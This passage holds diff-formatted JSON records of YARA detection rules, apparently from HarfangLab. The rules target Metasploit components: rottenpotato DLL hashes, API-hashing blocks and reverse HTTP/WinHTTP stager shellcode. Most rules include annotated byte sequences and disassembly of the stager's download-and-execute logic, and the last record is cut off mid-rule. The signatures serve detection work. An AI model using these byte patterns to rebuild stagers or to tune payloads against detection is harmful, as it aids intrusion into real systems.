+  "content": "import \"hash\"\n\nrule metasploit_rottenpotato_b2673d6e65cb {\n    meta:\n        title = \"Metasploit rottenpotato (b2673d6e65cb)\"\n        id = \"bdfb25bc-a618-4e0f-8910-b2673d6e65cb\"\n        description = \"Detects the Metasploit rottenpotato x86 DLL, which is used to create a remote service with persistence and escalate privileges.\\nIt is recommended to investigate the execution context and surrounding detections to assess whether the detected binary or process is linked with malicious activity. If possible, isolating the infected host during the investigation can help mitigate the risk of malicious activity.\"\n        references = \"https://github.com/rapid7/metasploit-framework\"\n        date = \"2020-11-13\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.privilege_escalation;attack.t1068\"\n        classification = \"Windows.Framework.Metasploit\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        arch = \"x86\"\n        score = 100\n        confidence = \"strong\"\n\n    condition:\n        (filesize == 253952 and hash.sha256(0, filesize) == \"e7738a5366e32588d0457d32e6f292a0b8ce3b6812735a7e53f885e075bbc199\") or\n        (filesize == 250880 and hash.sha256(0, filesize) == \"d84a6a14397bdfb610639b4fc3096ac5ff501d9119b8a845626677bcb303b6d3\") or\n        (filesize == 262144 and hash.sha256(0, filesize) == \"130350c0ceaece9097466a735dd2ed838a5d1902a5fdd09f881facd7e8c2aa40\")\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "metasploit_rottenpotato_b2673d6e65cb"
+  ],
+  "rule_creation_date": "2020-11-13",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Framework.Metasploit"
+  ],
+  "rule_tactic_tags": [
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1068"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-metasploit_shell_block_x64_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.590389Z",
+  "creation_date": "2026-03-23T11:46:25.590391Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.590397Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.metasploit.com/\nhttps://attack.mitre.org/techniques/T1059\nhttps://attack.mitre.org/techniques/T1027/007/"
+  ],
+  "name": "metasploit_shell_block_x64.yar",
+  "content": "rule metasploit_api_block_x64 {\n    meta:\n        title = \"Metasploit API hashing block (48ca3eb93fb0)\"\n        id = \"4f304b02-3978-47d5-9265-48ca3eb93fb0\"\n        description = \"Detects Metasploit's API Hashing block.\\nMetasploit is a widely-used penetration testing and exploitation framework that provides tools for vulnerability assessment, exploitation, privilege escalation, and post-exploitation activities.\\nMetasploit organizes its Windows shellcode using a modular \\\"block\\\" system. These blocks are reusable assembly components that are combined to create complete payloads.\\nAPI hashing is a technique used by malware to dynamically resolve API function addresses at runtime, which helps in evading static analysis and anti-virus detection.\\nIf possible, isolating the infected host during the investigation can help mitigate the risk of malicious activity.\"\n        references = \"https://www.metasploit.com/\\nhttps://attack.mitre.org/techniques/T1059\\nhttps://attack.mitre.org/techniques/T1027/007/\"\n        date = \"2026-02-02\"\n        modified = \"2026-02-19\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1059;attack.t1027.007\"\n        classification = \"Windows.Framework.Metasploit\"\n        context = \"process,memory,thread,file.pe,file.elf,file.macho\"\n        os = \"Windows,Linux,MacOS\"\n        arch = \"x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 33aaaebc827f21dc393d66b95e8fc1493ab6ed68fc37482e0b312810a51f4d05\n        // 0017fc562706d5b80ec1a80d45176dda51a1a9473c81ee88bf83b3fd4beff3b3\n        // ecfe806dd8a43ee14a29419c21b4cbafdaa7df9ea9ce7ac040afc7248078da20\n        // 7899d296967e4ce296d2a1242b5e790ae0b583bcdc37eba7990a14ffbe8a21e7\n\n        $canary = \"0f4de49f93bdeedeeff33708f2c39f3da3025749116e00eca4a8a573ba0b43b0\"\n\n        $get_peb = {\n            41 51                   // push    r9 {__saved_r9}\n            41 50                   // push    r8 {__saved_r8}\n            52                      // push    rdx {__saved_rdx}\n            51                      // push    rcx\n            56                      // push    rsi {__saved_rsi}\n            48 31 D2                // xor     rdx, rdx  {sub_0}\n            65 48 8B 52 60          // mov     rdx, qword [gs:rdx+0x60]\n            48 8B 52 18             // mov     rdx, qword [rdx+0x18] ; Get PEB->Ldr\n            48 8B 52 20             // mov     rdx, qword [rdx+0x20] ; Get the first module from the InMemoryOrder module list\n        }\n\n        $check_lowercase_name = {\n            3C 61                   // cmp     al, 0x61\n            7C 02                   // jl      0x2d\n            2C 20                   // sub     al, 0x20\n            41 C1 C9 0D             // ror     r9d, 0xd\n            41 01 C1                // add     r9d, eax\n            E2 ED                   // loop    0x23\n            52                      // push    rdx {var_30_1}\n            41 51                   // push    r9 {var_38_1}\n        }\n\n        $iterate_exp_addr_table = {\n                                    //   ; Proceed to iterate the export address table,\n            48 8B 52 20             // mov     rdx, qword [rdx+0x20]\n            8B 42 3C                // mov     eax, dword [rdx+0x3c] ; Get PE header\n            48 01 D0                // add     rax, rdx\n            66 81 78 18 0B 02       // cmp     word [rax+0x18], 0x20b ; is this module actually a PE64 executable?\n                                    // ; this test case covers when running on wow64 but in a native x64 context via nativex64.asm and\n                                    // ; their may be a PE32 module present in the PEB's module list, (typicaly the main module).\n                                    // ; as we are using the win64 PEB ([gs:96]) we wont see the wow64 modules present in the win32 PEB ([fs:48])\n        }\n\n    condition:\n        $get_peb and $check_lowercase_name and $iterate_exp_addr_table and not $canary\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "metasploit_api_block_x64"
+  ],
+  "rule_creation_date": "2026-02-02",
+  "rule_modified_date": "2026-02-19",
+  "rule_os": [
+    "macos",
+    "windows",
+    "linux"
+  ],
+  "rule_classifications": [
+    "Windows.Framework.Metasploit"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059",
+    "attack.t1027.007"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.elf",
+    "memory",
+    "file.pe",
+    "process",
+    "file.macho",
+    "thread"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-metasploit_shell_block_x86_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.588565Z",
+  "creation_date": "2026-03-23T11:46:25.588567Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.588573Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.metasploit.com/\nhttps://attack.mitre.org/techniques/T1059\nhttps://attack.mitre.org/techniques/T1027/007/"
+  ],
+  "name": "metasploit_shell_block_x86.yar",
+  "content": "rule metasploit_api_block_x86 {\n    meta:\n        title = \"Metasploit API hashing block (f733b4f3f1b3)\"\n        id = \"5c970db0-3cbb-4d5b-9137-f733b4f3f1b3\"\n        description = \"Detects Metasploit's API Hashing block.\\nMetasploit is a widely-used penetration testing and exploitation framework that provides tools for vulnerability assessment, exploitation, privilege escalation, and post-exploitation activities.\\nMetasploit organizes its Windows shellcode using a modular \\\"block\\\" system. These blocks are reusable assembly components that are combined to create complete payloads.\\nAPI hashing is a technique used by malware to dynamically resolve API function addresses at runtime, which helps in evading static analysis and anti-virus detection.\\nIf possible, isolating the infected host during the investigation can help mitigate the risk of malicious activity.\"\n        references = \"https://www.metasploit.com/\\nhttps://attack.mitre.org/techniques/T1059\\nhttps://attack.mitre.org/techniques/T1027/007/\"\n        date = \"2026-02-02\"\n        modified = \"2026-02-19\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1059;attack.t1027.007\"\n        classification = \"Windows.Framework.Metasploit\"\n        context = \"process,memory,thread,file.pe,file.elf,file.macho\"\n        os = \"Windows,Linux,MacOS\"\n        arch = \"x86\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 3e706ac92fd452781bee8d4b5c35b09a8fc4e3a5faa08178a0cabeaadd9dd28d\n        // eeb873f4de400fcf1e057426efb7fa3aac554f306d8bacbb87bd68213f33d1b6\n        // 31f255161c81f70b98f566ea31c42ef748a6463cd0a6730324b596db90e87588\n        // 333bc69d8d03fbf55cbb9cedb365655dcfa6ed9f165feafce6fea99dd8b0a703\n\n        $canary = \"ad16c8c3a90fbc9cc6749e1e7c8ad3e4b3b9ec3783c1be1639b3442ad82aa9b0\"\n\n        $get_peb = {\n            60                      // pushad   {var_14} {__saved_ebx} {__saved_ecx} {__saved_edx} {__saved_ebp} {__saved_esi} {__saved_edi}\n            89 E5                   // mov     ebp, esp {__saved_edi}\n            31 D2                   // xor     edx, edx  {sub_0}\n            64 8B 52 30             // mov     edx, dword [fs:edx+0x30]\n            8B 52 0C                // mov     edx, dword [edx+0xc] ; Get PEB->Ldr\n            8B 52 14                // mov     edx, dword [edx+0x14] ; Get the first module from the InMemoryOrder module list\n        }\n\n        $check_lowercase_name = {\n            3C 61                   // cmp     al, 0x61\n            7C 02                   // jl      0x21\n            2C 20                   // sub     al, 0x20\n            C1 CF 0D                // ror     edi, 0xd\n            01 C7                   // add     edi, eax\n            49                      // dec     ecx\n            75 EF                   // jne     0x18\n            52                      // push    edx {var_24_1}\n            57                      // push    edi {var_28_1}\n        }\n\n        $iterate_exp_addr_table = {\n            8B 52 10                // mov     edx, dword [edx+0x10]\n            8B 42 3C                // mov     eax, dword [edx+0x3c] ; Get PE header\n            01 D0                   // add     eax, edx\n            8B 40 78                // mov     eax, dword [eax+0x78]\n            85 C0                   // test    eax, eax ; Test if no export address table is present\n            74 4C                   // je      0x86\n            01 D0                   // add     eax, edx\n            50                      // push    eax {var_2c_1}\n            8B 48 18                // mov     ecx, dword [eax+0x18]\n            8B 58 20                // mov     ebx, dword [eax+0x20]\n            01 D3                   // add     ebx, edx ; Add the modules base address\n        }\n\n    condition:\n        $get_peb and $check_lowercase_name and $iterate_exp_addr_table and not $canary\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "metasploit_api_block_x86"
+  ],
+  "rule_creation_date": "2026-02-02",
+  "rule_modified_date": "2026-02-19",
+  "rule_os": [
+    "macos",
+    "windows",
+    "linux"
+  ],
+  "rule_classifications": [
+    "Windows.Framework.Metasploit"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059",
+    "attack.t1027.007"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.elf",
+    "memory",
+    "file.pe",
+    "process",
+    "file.macho",
+    "thread"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-metasploit_shellcode_reverse_http_0ea432bfc201_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.575504Z",
+  "creation_date": "2026-03-23T11:46:25.575506Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.575512Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1055/002/"
+  ],
+  "name": "metasploit_shellcode_reverse_http_0ea432bfc201.yar",
+  "content": "rule metasploit_shellcode_reverse_http_0ea432bfc201 {\n    meta:\n        title = \"Metasploit reverse_http Shellcode (0ea432bfc201)\"\n        id = \"b63514e0-b7c3-4878-9d01-0ea432bfc201\"\n        description = \"Detects Metasploit's WinInet reverse_http(s) shellcode.\\nThe shellcode establishes a reverse HTTP(S) connection using WinInet to communicate with a command-and-control server.\\nIt is recommended to investigate the execution context and surrounding detections to assess whether the detected binary or process is linked with malicious activity. If possible, isolating the infected host during the investigation can help mitigate the risk of malicious activity.\"\n        references = \"https://attack.mitre.org/techniques/T1055/002/\"\n        date = \"2024-03-01\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1055.002\"\n        classification = \"Windows.Framework.Metasploit\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // e405caa28c9829dd9f03cadc70e4d0083a04408ced8ade52fdb75049273187fe\n        // 94959b8abaabfc19ed6dfb778286ed3154b08a4efa322f0b366597ac52776269\n        // 5d8c5518cdc72b14bdf001308060c78abc38803913d87c8ba3287890f052be18\n        // 31ae643d62eeaa3a660ba39995e4b4074dff17a0103056876de100a922610646\n\n        $shellcode_load_wininet  = {\n            48 31 DB                                      // xor     rbx, rbx\n            53                                            // push    rbx\n            49 BE 77 69 6E 69 6E 65 74 00                 // mov     r14, 74656E696E6977h\n            41 56                                         // push    r14\n            48 89 E1                                      // mov     rcx, rsp\n            49 C7 C2 4C 77 26 07                          // mov     r10, 726774Ch\n            FF D5                                         // call    rbp\n            53                                            // push    rbx\n            53                                            // push    rbx\n            48 89 E1                                      // mov     rcx, rsp\n            53                                            // push    rbx\n            5A                                            // pop     rdx\n            4D 31 C0                                      // xor     r8, r8\n            4D 31 C9                                      // xor     r9, r9\n            53                                            // push    rbx\n            53                                            // push    rbx\n            49 BA 3A 56 79 A7 00 00 00 00                 // mov     r10, 0A779563Ah\n            FF D5                                         // call    rbp\n        }\n\n        $shellcode_got_server_host  = {\n            53                                            // push    rbx\n            49 BA 57 89 9F C6 00 00 00 00                 // mov     r10, 0C69F8957h\n            FF D5                                         // call    rbp\n        }\n\n        $shellcode_httpopenrequest  = {\n            53                                            // push    rbx\n            48 B8 [4] 00 00 00 00                         // mov     rax, 84280200h\n            50                                            // push    rax\n            53                                            // push    rbx\n            53                                            // push    rbx\n            49 C7 C2 EB 55 2E 3B                          // mov     r10, 3B2E55EBh\n            FF D5                                         // call    rbp\n            48 89 C6                                      // mov     rsi, rax\n        }\n\n        $shellcode_download = {\n            // allocate_memory:\n            6A 40                                         // push    40h ; '@'\n            5A                                            // pop     rdx\n            49 89 D1                                      // mov     r9, rdx\n            C1 E2 10                                      // shl     edx, 10h\n            49 C7 C0 00 10 00 00                          // mov     r8, 1000h\n            49 BA 58 A4 53 E5 00 00 00 00                 // mov     r10, 0E553A458h\n            FF D5                                         // call    rbp\n\n            // download_prep:\n            48 93                                         // xchg    rax, rbx\n            53                                            // push    rbx\n            53                                            // push    rbx\n            48 89 E7                                      // mov     rdi, rsp\n\n            // download_more:\n            48 89 F1                                      // mov     rcx, rsi\n            48 89 DA                                      // mov     rdx, rbx\n            49 C7 C0 00 20 00 00                          // mov     r8, 2000h\n            49 89 F9                                      // mov     r9, rdi\n            49 BA 12 96 89 E2 00 00 00 00                 // mov     r10, 0E2899612h\n            FF D5                                         // call    rbp\n            48 83 C4 20                                   // add     rsp, 20h\n            85 C0                                         // test    eax, eax\n            74 B2                                         // jz      short loc_205\n            66 8B 07                                      // mov     ax, [rdi]\n            48 01 C3                                      // add     rbx, rax\n            85 C0                                         // test    eax, eax\n            75 D2                                         // jnz     short loc_22F\n            58                                            // pop     rax\n\n            // execute_stage:\n            C3                                            // retn\n        }\n\n    condition:\n        all of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "metasploit_shellcode_reverse_http_0ea432bfc201"
+  ],
+  "rule_creation_date": "2024-03-01",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Framework.Metasploit"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1055.002"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-metasploit_shellcode_reverse_http_7b1ac4ebcda2_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.575622Z",
+  "creation_date": "2026-03-23T11:46:25.575625Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.575630Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1055/002/"
+  ],
+  "name": "metasploit_shellcode_reverse_http_7b1ac4ebcda2.yar",
+  "content": "rule metasploit_shellcode_reverse_http_7b1ac4ebcda2 {\n    meta:\n        title = \"Metasploit reverse_http Shellcode (7b1ac4ebcda2)\"\n        id = \"4b763d48-9a0e-4822-b6dc-7b1ac4ebcda2\"\n        description = \"Detects Metasploit's WinInet reverse_http(s) shellcode.\\nThe shellcode establishes a reverse HTTP(S) connection using WinInet to communicate with a command-and-control server.\\nIt is recommended to investigate the execution context and surrounding detections to assess whether the detected binary or process is linked with malicious activity. If possible, isolating the infected host during the investigation can help mitigate the risk of malicious activity.\"\n        references = \"https://attack.mitre.org/techniques/T1055/002/\"\n        date = \"2024-03-01\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1055.002\"\n        classification = \"Windows.Framework.Metasploit\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x86\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 79a6a648f05394fe3a243a7528cafba621a55f21c18ec551620451bc944a7078\n        // 43262045bd96fc272ef92a3a5ec086e7c49349f0c8167f5d1db6ccd7d514e9e9\n        // 2199ba451139a54626d5e57c15b6374a9c698c68bcc5dc70baea9edda7ee715c\n        // 013976e93c8a535b3b6e40ed49c9d4b1b18ce5e608984b547389a7b6610590cb\n\n        $shellcode_load_wininet  = {\n            68 6E 65 74 00                                // push 0x0074656e        ; Push the bytes 'wininet',0 onto the stack.\n            68 77 69 6E 69                                // push 0x696e6977        ; ...\n            54                                            // push esp               ; Push a pointer to the \"wininet\" string on the stack.\n            68 4C 77 26 07                                // push 0x0726774C        ; hash( \"kernel32.dll\", \"LoadLibraryA\" )\n            FF D5                                         // ; LoadLibraryA( \"  \" )\n        }\n\n        $shellcode_got_server_host  = {\n            50                                            // push eax               ; HINTERNET hInternet\n            68 57 89 9F C6                                // push 0xC69F8957        ; hash( \"wininet.dll\", \"InternetConnectA\" )\n            FF D5                                         // call ebp\n        }\n\n        $shellcode_httpopenrequest  = {\n            68 [4]                                        // push HTTP_OPEN_FLAGS   ; dwFlags\n            53                                            // push ebx               ; accept types\n            53                                            // push ebx               ; referrer\n            53                                            // push ebx               ; version\n            57                                            // push edi               ; server URI\n            53                                            // push ebx               ; method\n            56                                            // push eax               ; hConnection\n                                                          // push esi\n            68 EB 55 2E 3B                                // push 0x3B2E55EB        ; hash( \"wininet.dll\", \"HttpOpenRequestA\" )\n            FF D5                                         // call ebp\n            96                                            // xchg esi, eax          ; save hHttpRequest in esi\n        }\n\n        $shellcode_download = {\n            // allocate_memory:\n            6A 40                                         // push byte 0x40         ; PAGE_EXECUTE_READWRITE\n            68 00 10 00 00                                // push 0x1000            ; MEM_COMMIT\n            68 00 00 40 00                                // push 0x00400000        ; Stage allocation (8Mb ought to do us)\n            53                                            // push ebx               ; NULL as we dont care where the allocation is\n            68 58 A4 53 E5                                // push 0xE553A458        ; hash( \"kernel32.dll\", \"VirtualAlloc\" )\n            FF D5                                         // call ebp               ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE )\n\n            // download_prep:\n            93                                            // xchg eax, ebx          ; place the allocated base address in ebx\n            53                                            // push ebx               ; store a copy of the stage base address on the stack\n            53                                            // push ebx               ; temporary storage for bytes read count\n            89 E7                                         // mov edi, esp           ; &bytesRead\n\n            // download_more:\n            57                                            // push edi               ; &bytesRead\n            68 00 20 00 00                                // push 8192              ; read length\n            53                                            // push ebx               ; buffer\n            56                                            // push esi               ; hRequest\n            68 12 96 89 E2                                // push 0xE2899612        ; hash( \"wininet.dll\", \"InternetReadFile\" )\n            FF D5                                         // call ebp\n            85 C0                                         // test eax,eax           ; download failed? (optional?)\n            74 CF                                         // jz failure\n            8B 07                                         // mov eax, [edi]\n            01 C3                                         // add ebx, eax           ; buffer += bytes_received\n            85 C0                                         // test eax,eax           ; optional?\n            75 E5                                         // jnz download_more      ; continue until it returns 0\n            58                                            // pop eax                ; clear the temporary storage\n\n            // execute_stage:\n            C3                                            // ret                    ; dive into the stored stage address\n        }\n\n    condition:\n        all of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "metasploit_shellcode_reverse_http_7b1ac4ebcda2"
+  ],
+  "rule_creation_date": "2024-03-01",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Framework.Metasploit"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1055.002"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-metasploit_shellcode_reverse_winhttp_2f5d4530e5ec_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.569211Z",
+  "creation_date": "2026-03-23T11:46:25.569213Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.569219Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1055/002/"
+  ],
+  "name": "metasploit_shellcode_reverse_winhttp_2f5d4530e5ec.yar",
+  "content": "rule metasploit_shellcode_reverse_winhttp_2f5d4530e5ec {\n    meta:\n        title = \"Metasploit reverse_winhttp Shellcode (2f5d4530e5ec)\"\n        id = \"de52c2b2-35f1-41f1-b440-2f5d4530e5ec\"\n        description = \"Detects Metasploit's WinHTTP reverse HTTP(S) shellcode.\\nThe shellcode leverages WinHTTP to establish a reverse connection with a command-and-control server.\\nIt is recommended to check for unexpected network connections, to monitor the use of WinHTTP-related processes and to investigate the execution context and surrounding detections to assess whether the detected binary or process is linked with malicious activity. If possible, isolating the infected host during the investigation can help mitigate the risk of malicious activity.\"\n        references = \"https://attack.mitre.org/techniques/T1055/002/\"\n        date = \"2024-03-01\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1055.002\"\n        classification = \"Windows.Framework.Metasploit\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x86\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // a0bf49e71def0819bbaedd3e784bfee125532992a2b8d0e0cf1cad5465f45316\n        // 674d863868a2522ec4d1cb0f0df770d0cfbebd5aad040d7638bf112629f481b3\n        // 346d554c4500d9de81592bac45b45ab5222b71e63f0fa18bddd2af594dcaa1ba\n        // 19968db7da782d256f07a60a170b11987e993eb37312b56b7b1c1d7b33f77cef\n\n        $shellcode_load_wininet  = {\n            68 74 74 70 00                                // push 0x00707474        ; Push the string 'winhttp',0\n            68 77 69 6E 68                                // push 0x686E6977        ; ...\n            54                                            // push esp               ; Push a pointer to the \"winhttp\" string\n            68 4C 77 26 07                                // push 0x0726774C        ; hash( \"kernel32.dll\", \"LoadLibraryA\" )\n            FF D5                                         // call ebp               ; LoadLibraryA( \"winhttp\" )\n        }\n\n        $shellcode_got_server_host  = {\n            50                                            // push eax               ; HINTERNET hInternet\n            68 46 9B 1E C2                                // push 0xC21E9B46        ; hash( \"winhttp.dll\", \"WinHttpConnect\" )\n            FF D5                                         // call ebp\n        }\n\n        $shellcode_winhttpopenrequest  = {\n            68 [4]                                        // push HTTP_OPEN_FLAGS   ; Flags [7]\n            53                                            // push ebx               ; AcceptTypes (NULL) [6]\n            53                                            // push ebx               ; Referrer (NULL) [5]\n            53                                            // push ebx               ; Version (NULL)  [4]\n            57                                            // push edi               ; ObjectName (URI) [3]\n            53                                            // push ebx               ; Verb (GET method) (NULL)  [2]\n            [1]                                           // push eax               ; Connect handler returned by WinHttpConnect [1]\n            68 98 10 B3 5B                                // push 0x5BB31098        ; hash( \"winhttp.dll\", \"WinHttpOpenRequest\" )\n            FF D5                                         // call ebp\n            96                                            // xchg esi, eax          ; save HttpRequest handler in esi\n        }\n\n        $shellcode_download = {\n            // receive_response:\n            53                                            // push ebx               ; Reserved (NULL) [2]\n            56                                            // push esi               ; Request handler returned by WinHttpSendRequest [1]\n            68 05 88 9D 70                                // push 0x709D8805        ; hash( \"winhttp.dll\", \"WinHttpReceiveResponse\" )\n            FF D5                                         // call ebp\n            85 C0                                         // test eax, eax\n            74 EE                                         // jz failure\n\n            // allocate_memory:\n            6A 40                                         // push byte 0x40         ; PAGE_EXECUTE_READWRITE\n            68 00 10 00 00                                // push 0x1000            ; MEM_COMMIT\n            68 00 00 40 00                                // push 0x00400000        ; Stage allocation (8Mb ought to do us)\n            53                                            // push ebx               ; NULL as we dont care where the allocation is\n            68 58 A4 53 E5                                // push 0xE553A458        ; hash( \"kernel32.dll\", \"VirtualAlloc\" )\n            FF D5                                         // call ebp               ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE )\n\n            // download_prep:\n            93                                            // xchg eax, ebx          ; place the allocated base address in ebx\n            